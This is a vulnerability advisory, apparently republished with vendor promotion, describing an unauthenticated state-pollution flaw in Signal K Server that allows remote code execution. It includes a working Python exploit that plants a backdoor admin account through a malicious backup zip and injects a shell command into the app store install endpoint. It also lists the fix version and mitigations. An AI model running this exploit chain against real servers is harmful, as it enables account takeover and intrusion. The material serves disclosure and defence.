GHSA-w3x5-7c4c-66p9
CRITICALSignal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
signalk-servernpmDescription
Summary
An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).
Details
The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.
Vulnerable Code Analysis:
- Global State:
restoreFilePathis defined at the top level of the module.// src/serverroutes.ts let restoreFilePath: string - Unauthenticated State Pollution: The
/skServer/validateBackupendpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) - Restore Hijacking: The
/skServer/restoreendpoint uses the pollutedrestoreFilePathto perform the restoration.app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... })
Exploit Chain:
- Pollution: Attacker uploads a malicious zip file to
/validateBackup. The server saves it and updatesrestoreFilePathto point to this malicious file. - Hijacking: When
/restoreis triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. - Backdoor: The attacker overwrites
security.jsonto add a new administrator account. - RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (
/skServer/appstore/install/...) to execute arbitrary system commands (e.g.,npm installinjection).
PoC
Here is a complete Python script to reproduce the full exploit chain.
import requests
import zipfile
import io
import json
import time
# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"
def step1_plant_backdoor():
print("[*] Step 1: Planting Backdoor via State Pollution...")
# 1. Create malicious zip with security.json
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as z:
# Add backdoor admin user
security_config = {
"users": [{
"username": BACKDOOR_USER,
"password": BACKDOOR_PASS,
"permissions": "admin"
}]
}
z.writestr("security.json", json.dumps(security_config))
# Enable security to make the backdoor effective
z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
zip_buffer.seek(0)
# 2. Pollute State (Unauthenticated)
print(" [+] Sending malicious backup to /validateBackup...")
res = requests.post(f"{TARGET_URL}/skServer/validateBackup",
files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
if res.status_code != 200:
print(" [-] Failed to pollute state.")
return False
# 3. Trigger Restore (Hijacking)
print(" [+] Triggering restore to overwrite server config...")
# Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
# Here we assume we can trigger it or security is currently off.
res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
if res.status_code in [200, 202]:
print(" [+] Restore triggered successfully. Backdoor planted.")
print(" [!] PLEASE RESTART THE SERVER to load the new configuration.")
return True
else:
print(f" [-] Restore failed: {res.status_code} {res.text}")
return False
def step2_execute_rce():
print("\n[*] Step 2: Executing RCE as Backdoor User...")
# 1. Login
session = requests.Session()
login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
if res.status_code != 200:
print(" [-] Login failed. Did you restart the server?")
return
token = res.json()['token']
print(" [+] Login successful. Authenticated as Admin.")
# 2. RCE Payload (Windows Example)
# Injecting command into version parameter of npm install
# Command: echo RCE_SUCCESS > rce_proof.txt
cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
# We need a valid package name to bypass existence check
package_name = "@signalk/freeboard-sk"
print(f" [+] Sending RCE payload: {cmd_payload}")
headers = {'Authorization': f'Bearer {token}'}
try:
session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}",
headers=headers, timeout=5)
except:
pass # Timeout is expected as the command might hang or take time
print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.")
if __name__ == "__main__":
# Run Step 1, then restart server manually, then Run Step 2
# step1_plant_backdoor()
step2_execute_rce()
Impact
Remote Code Execution (RCE), Account Takeover, Denial of Service.
Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.19.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w3x5-7c4c-66p9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w3x5-7c4c-66p9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w3x5-7c4c-66p9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w3x5-7c4c-66p9 in your dependencies?
O3 detects GHSA-w3x5-7c4c-66p9 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.